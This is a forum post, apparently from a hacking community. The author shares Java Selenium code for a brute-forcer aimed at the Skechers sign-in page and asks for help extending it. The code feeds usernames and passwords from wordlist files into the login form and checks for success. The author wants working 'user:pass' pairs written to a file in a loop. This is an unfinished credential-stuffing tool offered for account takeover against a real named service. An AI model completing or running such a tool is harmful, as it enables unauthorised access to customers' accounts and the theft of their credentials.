OP 18 May, 2020 - 03:21 AM
I'm creating my very first bruteforcer on a fairly easy target like Skechers, for now. I'm thinking up a few methods but in order to maintain my code as readable; I want to know if there's a way to grab the scanned line (of .txt file) and print the part that the sendKeys are currently taking.
As you can see, I've commented out some of the code because I don't want to constantly delete new text files while working on other parts of the code. I want it to function like this:
If (user/pass) incorrect > close browser
else (user/pass) correct > (print to file) user:pass > close browser
restart
Thanks in advance, and if you don't mind working together in the future let me know!
Code:
package testPackage;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.PrintStream;
import java.util.Scanner;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.firefox.FirefoxDriver;
import org.testng.annotations.Test;
public class testClass {
private static final boolean Login = false;
@Test(retryAnalyzer = testRetry.class)
public static void main(String[] args) throws FileNotFoundException, InterruptedException {
System.setProperty("webdriver.gecko.driver", "C:\\geckodriver.exe");
WebDriver driver = new FirefoxDriver();
//PrintStream fileStream = new PrintStream("C:\\Users\\^\\Documents\\Lists\\Skechers\\Compd.txt");
//System.setOut(fileStream);
driver.get("https://www.skechers.com/en-us/secure/signin");
File uList = new File("C:\\Users\\^\\Documents\\Lists\\Usr.txt");
File pList = new File("C:\\Users\\^\\Documents\\Lists\\Pwd.txt");
Scanner uScan = new Scanner(uList);
Scanner pScan = new Scanner(pList);
WebElement email = driver.findElement(By.name("email"));
WebElement pass = driver.findElement(By.name("password"));
email.sendKeys(uScan.nextLine()); Thread.sleep(1000);
pass.sendKeys(pScan.nextLine() + Keys.ENTER); Thread.sleep(500);
if(Login) {
driver.findElement(By.xpath("//*[contains(text(), 'Either your email or password were incorrect.')]"));
//driver.manage().deleteAllCookies(); Thread.sleep(1000);
driver.close();
}
else {
driver.findElement(By.xpath("//*[contains(text(), 'My Account')]"));
//System.out.println();
//driver.manage().deleteAllCookies(); Thread.sleep(1000);
driver.close();
}
}
}
As you can see, I've commented out some of the code because I don't want to constantly delete new text files while working on other parts of the code. I want it to function like this:
If (user/pass) incorrect > close browser
else (user/pass) correct > (print to file) user:pass > close browser
restart
Thanks in advance, and if you don't mind working together in the future let me know!